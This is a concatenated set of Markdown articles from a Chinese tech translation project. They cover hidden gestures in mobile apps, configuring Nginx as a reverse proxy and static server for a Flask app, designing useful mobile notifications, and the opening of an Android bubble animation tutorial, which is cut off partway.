[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-communicate-hidden-gestures-in-mobile-app.md ================================================ > * 原文地址:[How To Communicate Hidden Gestures in Mobile App](https://uxplanet.org/how-to-communicate-hidden-gestures-in-mobile-app-e55397f4006b#.po5wdv20m) * 原文作者:[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Gocy](https://github.com/Gocy015/) * 校对者:[Tina92](https://github.com/Tina92) , [marcmoore](https://github.com/marcmoore) # 如何让用户发掘移动应用中的“隐藏”手势 # 我们将与应用进行交互的手指活动称为手势。可触摸界面为我们使用诸如点击、滑动、捏合等自然手势来控制应用提供了可能。但与图形控制界面相比,这些控制手势往往难以被用户感知,也就是说,如果用户不是事先就知道可以用特定的手势进行操控,他们是不会去刻意尝试(使用手势)的。 如何帮助用户发掘这些隐藏的手势呢?幸运的是,当下已经有几种可视交互设计技巧供我们选择,来让这些手势浮出水面了。 ### 启动应用时展示教程和演示 ### 许多手势驱动的应用偏向于利用教程和演示来指导用户使用。这通常意味着你会展示一些指令指南,来解释应用界面的操作规则。但是,通过界面教程来解释应用的核心功能并不是最优雅的方法。该方法有以下两个缺点: - 如果你必须要为你的应用提供配套的指令说明,那就说明你没有为用户提供一个友好的体验,因为你不能期望每个用户都会在使用应用之前阅读说明。 - 另一个问题则是,用户必须在开始使用应用之前,记住所有他们才刚刚了解到的操控方法。 打个比方,Clear 应用启动时会强制展示 7 页长的使用指南,而用户必须仔细地阅读所有信息,并尽量的记住它们。这其实是非常糟糕的设计,因为用户必须在体验应用之前做许多准备工作。 **Clear 应用中的教程** 避免一次性展示包含多个步骤的演示,试着在对应的会话上下文中再进行指导(当用户实际使用该功能时)。通过多次小的演示,教程其实可以变成一段渐进式的探索之旅: > 将关注点放在一次特定的交互上,而不是试着将所有可能用到的指令全都呈现在界面上。 就拿 YouTube 应用安卓端的手势教程界面为例: YouTube 安卓客户端 该应用同样是基于手势交互的,但它没有以教程形式向用户展示指令。相反,它仅在新用户首次进入应用的某些界面时,展示与该界面相关的使用提示。 ### 如何在上下文中指导用户 ### 在上下文中对用户进行指导的技巧,是为了帮助用户掌握那些他们从未使用过的操作方式来与界面元素交互。这项技巧通常包括 **小巧的界面提示** 以及 **简短的动画示意** 。 #### 纯文本指令 #### 这项技巧基于文本指令来提示用户进行某种手势操作,并精简的描述该操作所起到的作用。 **小贴士:**尽可能缩短指令文字长度 - 文字越精简,用户就越可能仔细地读完并根据指令完成操作。 图片源于:Material Design #### 动态提示(Hint Motion)#### 动态提示(或者说界面提示动画)为元素交互动作的方式和结果提供了预览。举个例子, Pudding Monsters 的游戏机制是完全基于手势的,但它却能让用户较为准确地猜测到交互的方式。动画诠释了功能信息 - 展示一个带有动画的场景,用户便能清楚的知道该怎么做了。 动态提示为元素的操控提供了预览。图片来源:Pudding Monsters #### 内容梳理(Content Teases) #### 内容梳理属于简单视觉线索(subtle visual clues)的一种,用于表明操作的可能性。下面的例子展示了如何对卡片视图进行内容梳理 - 它简单地在当前卡片下展示了其它的卡片,以此来说明此处可以使用滑动操作。 展览式的导航功能。 图片来源:[Barthelemy Chalvet](https://dribbble.com/BarthelemyChalvet) ### 总结 ### 归根结底,没有一个万能的方法,能够满足所有在移动应用或是 web app 中指导用户使用手势的需求。但当涉及到指导用户如何使用界面时,我建议你尽量在相应上下文中使用弹性内容来显示指南,[渐进式地展示信息](https://uxplanet.org/design-patterns-progressive-disclosure-for-mobile-apps-f41001a293ba#.p5aq5o4f2) 并配合简短的动画。教程和演示是迫不得已时才考虑的手段。 感谢阅读! ================================================ FILE: TODO/how-to-configure-nginx-for-a-flask-web-application.md ================================================ > * 原文地址:[How to Configure NGINX for a Flask Web Application](http://www.patricksoftwareblog.com/how-to-configure-nginx-for-a-flask-web-application/) > * 原文作者:[patricksoftware](http://www.patricksoftwareblog.com) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-to-configure-nginx-for-a-flask-web-application.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-to-configure-nginx-for-a-flask-web-application.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[GanymedeNil](https://github.com/GanymedeNil) # 如何为 Flask Web 应用配置 Nginx ### **简介** 在本文中,我将介绍什么是 [Nginx](https://www.nginx.com/) 以及如何为 Flask Web 应用配置 Nginx。本文是[《部署 Flask 应用》](http://www.patricksoftwareblog.com/all-posts/)系列文章的一部分。我曾找到过多份关于 Nginx 及其配置的文章,但我希望能更深入其细节,了解如何使用 Nginx 为 Flask Web 应用服务以及如何为此进行配置。Nginx 的配置文件有点让人困惑,因为大多数的文档仅仅是简单罗列了一个配置文件,而没有对配置中每一步做了什么进行任何解释。希望本文能让你清晰地理解如何为你的应用配置 Nginx。 ### **什么是 Nginx?** 在 Nginx(发音为“engine-X”)的官网中,有着这个工具的概要描述: Nginx 是一款免费、开源、高性能的 HTTP 服务器以及反向代理,同时也可以作为 IMAP/POP3 代理服务器。Nginx 以其高性能、稳定性、丰富的功能、简单的配置、低资源消耗而闻名。 我们可以拓展理解此说明…… Nginx 是一个可以为你的 Web 应用处理 [HTTP](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol) 请求的服务器。对于典型的 Web 应用,Nginx 可以配置为 HTTP 请求进行以下操作: * 将请求 [反向代理](https://en.wikipedia.org/wiki/Reverse_proxy) 至上游服务器(例如 Gunicorn、uWsgi、Apache 等)。 * 为静态资源(Javascript 文件、CSS 文件、图像、文档、静态 HTML 文件)提供服务。 同时 Nginx 也提供了[负载均衡](http://nginx.org/en/docs/http/load_balancing.html)功能,可以让多个上游服务器为请求提供服务,不过在本文中暂不讨论此功能。 下图为描述 Nginx 如何为 Flask Web 应用提供服务的简图: [![生产环境中的 Nginx](http://www.patricksoftwareblog.com/wp-content/uploads/2016/09/NGINX-in-Production-Environment.png)](http://www.patricksoftwareblog.com/wp-content/uploads/2016/09/NGINX-in-Production-Environment.png) Nginx 会处理来自因特网(比如来自你应用的用户)的 Http 请求。根据你对 Nginx 的配置,它可以直接提供并向请求源返回静态内容(Javascript 文件、CSS 文件、图像、文档、静态 HTML 文件)。此外,它也能将请求反向代理至 WSGI([Web Server Gateway Interface](https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface))以让你在 Flask Web 应用中生成动态内容(HTML)并返回给用户。 上面的示意图假定用户使用了 Docker,但不使用 Docker 时 Nginx 的配置也与此十分相似(仅仅省略了图中容器的概念)。 ### 为什么你需要 Nginx 与 Gunicorn? Nginx 作为一个 HTTP 服务器,在许多应用中都被使用:[列表](https://www.nginx.com/resources/wiki/start/#pre-canned-configurations)。它提供了许多的功能,但无法直接为 Flask 应用提供服务。而 [Gunicorn](http://gunicorn.org/) 可以做到这一点。Nginx 收到 HTTP 请求,并将其传递给 Gunicorn 交由你的 Flask 应用进行处理(比如你在 view.py 中定义的路由)。Gunicorn 是一个 WSGI 服务器,可以处理 HTTP 请求,并将它们通过路由交给任何支持 WSGI 的 python 应用处理(比如 Flask、Django、Pyramid 等)。 ### **Nginx 配置文件的结构** 注意:本文应用的是 Nginx v1.11.3,配置文件所在的位置根据你 Nginx 版本的不同会有所变化,比如 /opt/nginx/conf/。 根据你安装、使用 Nginx 方式的不同,配置文件的结构会略有不同。大多数的配置结构如下所示: #### 结构 1 如果你使用的是从源代码编译得到的 Nginx 或者官方的 Docker 镜像,那么配置文件在 /etc/nginx/ 中,主配置文件为 /etc/nginx/nginx.conf。在 /etc/nginx/nginx.conf 的最下面的一行会将位于 /etc/nginx/conf.d/ 目录下的其余配置文件内容载入配置中: * include /etc/nginx/conf.d/*.conf; #### 结构 2 如果你是通过包管理器(比如 Ubuntu 的 apt-get)安装的 Nginx,那么你的 /etc/nginx/ 下会有下面两个子目录: * sites-available – 包含为多个网站准备的多个配置文件。 * sites-enabled – 包含一个指向 sites-available 目录中配置文件的软链接。 这两个目录继承于 Apache,将应用于 Nginx 的配置。 由于我的 Flask 应用使用的是 Docker 部署,因此在本文将主要关注上面的结构 1。 ### **Nginx 的配置** Nginx 的顶层配置文件是 nginx.conf。Nginx 接受多层级的配置文件,这也使得用户可以针对自己的应用进行弹性的配置。如需了解配置文件中各参数的详细信息,可以参阅 [Nginx 官方文档](http://nginx.org/en/docs/ngx_core_module.html)。 在 Nginx 中,由配置块(block)来组织各个配置参数。以下为在本文中我们将提到的配置块: * Main – 定义于 nginx.conf(所有不属于配置块的参数均属 Main 块) * Events – 定义于 nginx.conf * Http – 定义于 nginx.conf * Server – 定义于 _application_name_.conf 将这些配置块拆分至不同的文件,可以让你在 nginx.conf 中定义 Nginx 的高级别配置,在其它的 *.conf 文件中为你的应用定义虚拟主机或服务器的参数。 #### nginx.conf 详细说明 安装 Nginx 时自带的默认 nginx.conf 文件可以适用于大多数服务器的初步配置。让我们仔细探查 nginx.conf 的内容,并思考如何拓展这里的默认设置。 ##### Main 部分 nginx.conf 的 main 配置块(即那些不在配置块中的参数)为: ``` user nginx; worker_processes 1; error_log /var/log/nginx/error.log warn; pid /var/run/nginx.pid; ``` 第一个参数([user](http://nginx.org/en/docs/ngx_core_module.html#user))将定义 Nginx 服务器的拥有者以及运行用户。当 Nginx 通过 Docker 容器运行时,使用默认值就够了。 第二个参数([worker_processes](http://nginx.org/en/docs/ngx_core_module.html#worker_processes))定义了 worker processes(工作进程)的数量。此参数推荐的默认值为当前服务器使用内核的数量。对于基础的虚拟私有服务器(VPS)来说,默认值 1 就是个不错的选择。当你拓展 VPS 性能时可以增加这个数字。 第三个参数([error_log](http://nginx.org/en/docs/ngx_core_module.html#error_log))定义了错误日志在文件系统中存放的位置,并能额外定义一个参数来规定需要记录日志的最小错误等级。这个参数使用默认值即可。 第四个参数([pid](http://nginx.org/en/docs/ngx_core_module.html#pid))定义了用于存储 Nginx 主进程 pid 的文件位置。这个参数使用默认值即可。 #### events 配置块 events 配置块定义了一些会影响连接处理的参数。它也是 Nginx.conf 文件中第一个配置块: ``` events { worker_connections 1024; } ``` 在这个配置块中仅有一个单独的参数([worker_connections](http://nginx.org/en/docs/ngx_core_module.html#worker_connections)),定义了工作进程可以打开的最大并发连接数。默认值定义了总共可用 1024 个连接,无需更改(但你需要计算用户请求站点及请求 WSGI 服务器的连接数)。 #### http 配置块 http 配置块定义了一些关于 Nginx 如何处理 HTTP Web 流量的参数。它是 nginx.conf 文件中第二个配置块: ``` http { include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; access_log /var/log/nginx/access.log main; sendfile on; #tcp_nopush on; keepalive_timeout 65; #gzip on; include /etc/nginx/conf.d/*.conf; } ``` 第一个参数([include](http://nginx.org/en/docs/ngx_core_module.html#include))指定了需要引入的配置文件,在此引入的是位于 /etc/nginx/ 的 mime.types 文件,这个文件定义了各种 Nginx 支持的文件类型。此参数应该保持默认值。 第二个参数([default_type](http://nginx.org/en/docs/http/ngx_http_core_module.html#default_type))指定了默认给用户返回的文件类型。对于 Flask 应用来说,返回的是动态生成的 HTML 文件,因此这个参数应改为 `default_type text/html`; 第三个参数([log_format](http://nginx.org/en/docs/http/ngx_http_log_module.html#log_format))指定了日志的格式,应当保持默认值。 第四个参数([access_log](http://nginx.org/en/docs/http/ngx_http_log_module.html#access_log))指定了 Nginx 日志的访问位置,应当保持默认值。 第五个参数([send_file](http://nginx.org/en/docs/http/ngx_http_core_module.html#sendfile))以及第六个参数([tcp_nopush](http://nginx.org/en/docs/http/ngx_http_core_module.html#tcp_nopush))稍微有点复杂。可以参阅[《优化 Nginx》](https://t37.net/nginx-optimization-understanding-sendfile-tcp_nodelay-and-tcp_nopush.html)一文来了解这些参数(包括 [tcp_nodelay](http://nginx.org/en/docs/http/ngx_http_core_module.html#tcp_nodelay))的详细情况。由于我们打算用 Nginx 来传递静态内容,因此可以这么设置这些参数: ``` sendfile on; tcp_nopush on; tcp_nodelay on; ``` 第七个参数([keepalive_timeout](http://nginx.org/en/docs/http/ngx_http_core_module.html#keepalive_timeout))定义了与客户端保持连接的超时时长,应当保持默认值。 第八个参数([gzip](http://nginx.org/en/docs/http/ngx_http_gzip_module.html))定义了 gzip 压缩算法的使用方法,以减少传输数据量。虽然数据量减少了,但也因此增加平台在压缩过程中的性能消耗,好处两两抵消,因此保持它的默认值(off)。 第九个,也是最后一个参数([include](http://nginx.org/en/docs/ngx_core_module.html#include))定义了位于 /etc/nginx/conf.d/ 下后缀名为 .conf 的其它配置文件。现在我们将使用这些配置文件定义静态内容服务器以及 WSGI 服务器的反向代理。 #### nginx.conf 的最终配置 在 nginx.conf 默认设置之上,我们需要根据需要调整一些参数(并加上注释),下面为最终版本的 nginx.conf: ``` # Define the user that will own and run the Nginx server user nginx; # Define the number of worker processes; recommended value is the number of # cores that are being used by your server worker_processes 1; # Define the location on the file system of the error log, plus the minimum # severity to log messages for error_log /var/log/nginx/error.log warn; # Define the file that will store the process ID of the main NGINX process pid /var/run/nginx.pid; # events block defines the parameters that affect connection processing. events { # Define the maximum number of simultaneous connections that can be opened by a worker process worker_connections 1024; } # http block defines the parameters for how NGINX should handle HTTP web traffic http { # Include the file defining the list of file types that are supported by NGINX include /etc/nginx/mime.types; # Define the default file type that is returned to the user default_type text/html; # Define the format of log messages. log_format main '$remote_addr - $remote_user [$time_local] "$request" ' '$status $body_bytes_sent "$http_referer" ' '"$http_user_agent" "$http_x_forwarded_for"'; # Define the location of the log of access attempts to NGINX access_log /var/log/nginx/access.log main; # Define the parameters to optimize the delivery of static content sendfile on; tcp_nopush on; tcp_nodelay on; # Define the timeout value for keep-alive connections with the client keepalive_timeout 65; # Define the usage of the gzip compression algorithm to reduce the amount of data to transmit #gzip on; # Include additional parameters for virtual host(s)/server(s) include /etc/nginx/conf.d/*.conf; } ``` ##### 为静态内容部署及反向代理配置 Nginx 如果你查看默认的 /etc/nginx/conf.g/default.conf,可以看到它提供了一个简单的服务器配置块,并给了许多取消注释即可使用的可选配置。我们不会挨个去研究这个文件中的配置,而是直接探讨对于我们部署静态内容以及 WSGI 反向代理有用的关键参数。以下是推荐的 _application_name_.conf 配置: ``` # Define the parameters for a specific virtual host/server server { # Define the directory where the contents being requested are stored # root /usr/src/app/project/; # Define the default page that will be served If no page was requested # (ie. if www.kennedyfamilyrecipes.com is requested) # index index.html; # Define the server name, IP address, and/or port of the server listen 80; # server_name xxx.yyy.zzz.aaa # Define the specified charset to the “Content-Type” response header field charset utf-8; # Configure NGINX to deliver static content from the specified folder location /static { alias /usr/src/app/project/static; } # Configure NGINX to reverse proxy HTTP requests to the upstream server (Gunicorn (WSGI server)) location / { # Define the location of the proxy server to send the request to proxy_pass http://web:8000; # Redefine the header fields that NGINX sends to the upstream server proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # Define the maximum file size on file uploads client_max_body_size 5M; } } ``` 服务器配置块为特定的虚拟主机或服务器定义了参数。通常为你在 VPS 上部署的单个 Web 应用。 第一个参数([root](http://nginx.org/en/docs/http/ngx_http_core_module.html#root))定义了被请求的内容所存储的位置。当 Nginx 收到用户请求时,它便会在此目录中查找。由于在默认的”/“路径中定义过了,因此可以注释掉这个不必要的参数。 第二个参数([index](http://nginx.org/en/docs/http/ngx_http_index_module.html))定义了在请求未指定页面时(比如访问 www.kennedyfamilyrecipes.com)所得到的默认页面。由于我们使用的是 Flask Web 应用生成的动态内容,因此需要注释掉这个参数。 前两个参数(root 和 index)都包含在此配置文件中,在一些情况下可以用于 Nginx 的配置。 第三个参数([server_name](http://nginx.org/en/docs/http/ngx_http_core_module.html#server_name))和第四个参数([listen](http://nginx.org/en/docs/http/ngx_http_core_module.html#listen))需要一同使用。如果你的 Web 应用程序已经部署好了,那么你需要设置这些参数为:(注,端口默认为 80,此时不需要填) ``` server { … Listen 192.241.229.181; … } ``` 如果你除了 www.kennedyfamilyrecipes.com 之外还要部署另一个 Flask 应用 blog.kennedyfamilyrecipes.com,那么你需要将”server“配置块拆开,分别配置”user_name“和”listen“: ``` server { listen 80; server_name *.kennedyfamilyrecipes.com; . . . } server { listen 80; server_name blog.kennedyfamilyrecipes.com; . . . } ``` Nginx 将选择最匹配请求的”server_name“。也就是说对”blog.kennedyfamilyrecipes.com“的请求会优先匹配”blog.kennedyfamilyrecipes.com“而不是”*.kennedyfamilyrecipes.com“。 第五个参数([charset](http://nginx.org/en/docs/http/ngx_http_charset_module.html))定义了响应头”Content-Type“的字符集值,应当设置为”utf-8“。 第一个”location“配置块定义了 Nginx 需要递送位于以下位置的静态内容: ``` location /static { alias /usr/src/app/project/static; } ``` [location](http://nginx.org/en/docs/http/ngx_http_core_module.html#location) 配置块定义了如何处理请求的 URI(域名或 IP、端口号之后的部分)。在这第一个 location 配置块(/static)中,我们定义了 Nginx 将会处理来自 www.kennedyfamilyrecipes.com/static/ 的请求,检索位于 /usr/src/app/project/static 目录下的文件。例如,请求 www.kennedyfamilyrecipes.com/static/img/img_1203.jpg 将会返回位于 /usr/src/app/project/static/img/img_1203.jpg 的图片文件。如果文件不存在,则向用户返回 404 错误码(NOT FOUND)。 第二个 location 配置块("/")定义反向代理。这个 location 配置块会定义 Nginx 如何将请求传递给 我们的 Flask 应用接口所在的 WSGI(Gunicorn)服务器。仔细看看其中的每个参数: ``` location / { proxy_pass http://web:8000; proxy_set_header Host $host; proxy_set_header X-Forwarded-Proto $scheme; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; client_max_body_size 5M; } ``` 第一个参数([proxy_pass](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass))定义了接收转发请求的代理服务器的位置。如果你想将请求转发至本机的服务器时可以使用: ``` proxy_pass http://localhost:8000/; ``` 如果你希望将请求转发给指定的 Unix socket 时(比如和 Nginx 运行在同一台机器中的 Gunicorn 服务器),可以使用: ``` proxy_pass http://unix:/tmp/backend.socket:/ ``` 如果你使用 Docker 容器运行的 Nginx,希望与容器中的 Gunicorn 进行通信,那么可以直接使用运行 Gunicorn 的容器名称: ``` proxy_pass http://web:8000; ``` 第二个参数([proxy_pass_header](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass_header))可以让你重新定义发往上游服务器(比如 Gunicorn)的请求的头部。这个参数可以进行以下四次设置: * Nginx 服务器的名称及端口(Host $host) * 原始客户端请求的模式(比如是 http 请求还是 https 请求)(X-Forwarded-Proto $scheme) * 用户的 IP 地址(X-Real-IP $remote_addr) * 至当前节点位置,客户端经过的所有代理的 IP 地址(X-Forwarded-For $proxy_add_x_forwarded_for) 第三个参数([client_max_body_size](http://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size))定义了文件上传允许的最大大小,对于需要上传文件的 Web 应用来说非常重要。由于图像大小一般在 2 MB 内,因此在这儿设置 5 MB 基本上可以满足任何图像。 ### **总结** 本文介绍了什么是 Nginx 服务器,以及如何为一个 Flask 应用对其进行配置。Nginx 是大多数 Web 应用的关键组件,它为用户提供静态内容、反向代理请求至上游服务器(在我们的 Flask Web 应用中是 WSGI),以及负载均衡(本文未提及)。希望看完本文后你能更轻松地理解 Nginx 的配置! ### **引用资料** [How to Configure NGINX (Linode)](https://www.linode.com/docs/websites/nginx/how-to-configure-nginx) [NGINX Wiki](https://www.nginx.com/resources/wiki/) [NGINX Pitfalls and Common Mistakes](https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/) [How to Configure the NGINX Web Server on a VPS (DigitalOcean)](https://www.digitalocean.com/community/tutorials/how-to-configure-the-nginx-web-server-on-a-virtual-private-server) [Understanding NGINX Server and Location Block Selection Algorithms (DigitalOcean)](https://www.digitalocean.com/community/tutorials/understanding-nginx-server-and-location-block-selection-algorithms) [NGINX Optimization: Understanding sendfile, tcp_nodelay, and tcp_nopush](https://t37.net/nginx-optimization-understanding-sendfile-tcp_nodelay-and-tcp_nopush.html) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-to-craft-mobile-notifications-that-users-actually-want.md ================================================ >* 原文链接 : [Mobile UX Design: What Makes a Good Notification?](https://uxplanet.org/how-to-craft-mobile-notifications-that-users-actually-want-7b585e0e1fa1#.z4z05lc5u) * 原文作者 : [Nick Babich](https://medium.com/@101) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : * 校对者: Have you ever paid attention to the number of notifications and alert messages you receive on a daily basis from various apps? How many of those notifications _do you actually care about_? ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*zq6d8Sl7qnBAh8B8YPpZng.jpeg)
      Meaningless notification on smart watch screen.
      Everyday, users are bombarded with useless notifications that distract them from their day-to-day activities and it gets downright annoying. **Annoying notifications is the #1 reason people uninstall mobile apps (71% of respondents).** ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*tRV8bhwepMNc7lsEyleZAg.png) Designing notifications to be useful and relevant for your users is extremely important. Because they can be powerful tools for businesses to communicate directly with users and deliver the right message at the right time and place in order to _promote engagement_. Let’s see how to turn this anti-UX pattern into something meaningful and valuable both for your product and for your user. ### Key Elements of User-Friendly Notifications Notifications are a _privilege_ because users place trust in you by allowing you to send messages directly to them, and you mustn’t abuse that privilege. And user-centric notifications are the building blocks of any great mobile marketing strategy, but creating the perfect notification isn’t as simple as it may seem. Here are _five moments_ _to remember_ when crafting a user-centric notifications. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*jOuOujLnxkx30IBo3q_Ejw.jpeg) The most common mistake, and the most damaging from a long-term point of view, that you can make while sending push notifications is _sending your users more notifications than they can handle_. Too many direct conversations with users may lead to “notification overkill” and may result in users either tuning out mentally or opting-out altogether. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*YIsFJcFM7pQZDGgD_2X0rg.png)
      All push notification arrived at the same moment.
      **Takeaway:** You need to understand your audience, their lifestyles and their needs and _figure out the frequency_ of notifications that you will send out. ### 2\. Push the Value When user start using your app she don’t mind getting notifications as long as they carry enough “_value-for-interruption_,” meaning they are _useful_ and _interesting_ enough to her. _Personalized content_ that inspires and delights is a critical component. **Bad Example:** Some notifications shouldn’t ever make it to a user’s screen. AppStore software update notification most probably was designed to follow the usability heuristic “[Visibility of system status](https://uxplanet.org/golden-rules-of-user-interface-design-19282aeb06b),” but does the user really need to see it? If the notification doesn’t require any action for the user, then maybe it’s not that important. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*GO0mnyRoW-3ZEVvFnuf0Aw.jpeg)
      Apple AppStore notifcation. Should I really be notified about that?
      **Bad Example:** Facebook app routinely sends users notifications to connect to randomly suggested people or to “Find more of your friends of Facebook.” This is a poor attempt to direct users back into the app. Also it interrupts users with irrelevant alerts. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*fKWoWYBuhoQ0EhqWiom3AQ.png)
      Facebook app for Android.
      **Good Example:** Netflix does a great job of personalizing their push notifications. Netflix uses push notifications to let users know when their favorite shows are available. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*OjWmPLfdatdwh7dpMlwiVw.png)
      Netflix app for iOS
      Rather than sending every user a notification every time any new show or season is released, Netflix understands the specific shows that each user has been watching, and only sends a notification to a user when one of their favorite shows has a new season available. The result: app alerting users to _personalized_ and _relevant information._ **Takeaway:** * Don’t send out notifications just because you can. Don’t include notifications just to lure users into using your app. * Keep the message clear and understandable. No matter what the content of the notification is, make sure it speaks the same language as your users, literally and figuratively. * Users, regardless of frequency, appreciate content that is directly related to their personal interests. ### 3\. Time Your Notification ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*ZvGqAroMPDx5kxh3713C5g.png) Tailoring your notifications to your users isn’t just about what you say, it’s about _when you say it_. Do you like to be woken up in the middle of the night by a vibrating cell phone, flashy screen and a push message saying you have a $15 discount on your next purchase if you invite a friend? ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*_Aeiw7oss9IHK8dkhpajsA.png)
      “Push gone wrong” tweet.
      Now of course, users can always turn on the settings on their device to DND, but that’s not a solution. A real solution would be sending a notification out at a reasonable time that would be most effective to your users, _unless it’s critical to inform them of something happening right now_. In general, _mobile usage peaks betweek 6pm — 10pm_. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*ZrX3QYmAnnqB6A1iEwa-BQ.png)
      Research source: [comScore](http://www.comscore.com)
      **Takeaways:** * Don’t send push notifications at weird hours (an ill-timed notification sent between 12 and 6 am risks waking up or disrupting user). * Always send push notifications to users in _their local timezone_. * Tailor message time to each user. Pay attention to where your users arein their day, and schedule appropriately. Automate message delivery to the user’s preferred time to engage with your app. ### 4\. Test Rigorously ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*IY-EtpLW1icld5MeCQznQA.png) How do you make a great push notification even better? Test it! A/B testing can be valid in push notifications. But unlike an A/B test of a change in the design of your site, testing messaging notification requires _speed_ and _determination_. Interesting practical example from [Adam Marchick](https://twitter.com/adammStanford?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor): Approaching Valentine’s Day, 1–800-Flowers [prepared](https://segment.com/blog/push-notifications-users-want-kahuna/) to A/B test two very different messages. They tested up two versions of one message to a small sample of users who had added an item to their shopping carts but had not completed their purchases. First message was a simple reminder: ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*lD7A2etv0pG_bvxSx72rsg.png)
      iOS Push Notification: Forget Something? Come back and send a truly original gift.
      But second one variant included a 15% off promotion code. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*QhqKA7mkLumHLPgK4rA0uQ.jpeg)
      iOS Push Notification: Forget Something? Come back and SAVE 15% with Promo Code.
      Contrary to what was expected, _the message that performed best was a first variant_ — the variant that did not include a promotion code. In fact, the message without the promotion code generated 50 percent more revenue and resulted in fewer app uninstalls than the variant with the promotion code. That’s why you need to test everything. But a tendency to track only positive metrics (e.g. sign-ins) is a big mistake. You should have _a big picture_ and track all major metrics: * _Goal achievement:_“Does the notification drive users to take the desired action?” Examples of goal achievement: social shares, purchases, sign-ins, and more. * _User engagement_: “Did the notification enhance and enrich the user’s app experience?” An important metric for answering this question is the number of users who re-engaged with your app after receiving the push notification. Tracking this metric is a good way to validate that the notification was _user-centric, not company-centric_. * _App uninstalls & push opt-outs:_ The number of app uninstalls or push opt-outs that have been generated as a result of the notification. When you are measuring this number in _real time_, it’s easy to adjust or cancel any detrimental notification campaigns before it’s too late.

      5. Establish a Messaging Strategy

      The best way to establish an effective mobile app messaging strategy is to use different message types — push notifications, email, in-app notifications, and news feed messaging. ![](https://d262ilb51hltx0.cloudfront.net/max/800/1*BEdI6YjX0sgqXT6deQrrrw.jpeg)
      Select proper notification type based on urgency and content. Source: [Appboy](https://www.appboy.com)
      Diversify your messaging — your messages should work together in perfect harmony to create a great user experience.

      Conclusion

      Mobile is all about making every message count. Notifications can add real value to your users’ lives are critical to improving your brand, and in turn your revenue. Just remember these key takeaways as you embark on the journey to send great notifications: * _Personalizing the message_ content ensures that users receive information that is relevant and valuable to them. * A successful notification strategy approaches _message timing_ from the perspective of the user. * Before you send any notifications, you should _choose a goal_ and _track the necessary metrics_ to determine if the communication worked. * _Diversify_ your messaging. Push notifications alone won’t cut it. I hope this article was interesting and you got a good understanding of how to optimize your notification campaigns. Thank you! ================================================ FILE: TODO/how-to-create-a-bubble-selection-animation-on-android.md ================================================ > * 原文地址:[How to Create a Bubble Selection Animation on Android](https://medium.com/@igalata13/how-to-create-a-bubble-selection-animation-on-android-627044da4854#.7iwkfupy7) > * 原文作者:[Irina Galata](https://medium.com/@igalata13?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 译者:[skyar2009](https://github.com/skyar2009) > * 校对者:[zhaochuanxing](https://github.com/zhaochuanxing), [ylq167](https://github.com/ylq167) # Android 如何实现气泡选择动画 # **作者:[Irina Galata](https://github.com/igalata) Android 开发者;[Yulia Serbenenko](https://dribbble.com/yuyonder) UI/UX 设计师** 跨平台用户体验统一正处于增长趋势:早些时候 iOS 和安卓有着不同的体验,但是最近在应用设计以及交互方面变得越来越接近。 从安卓 Nougat 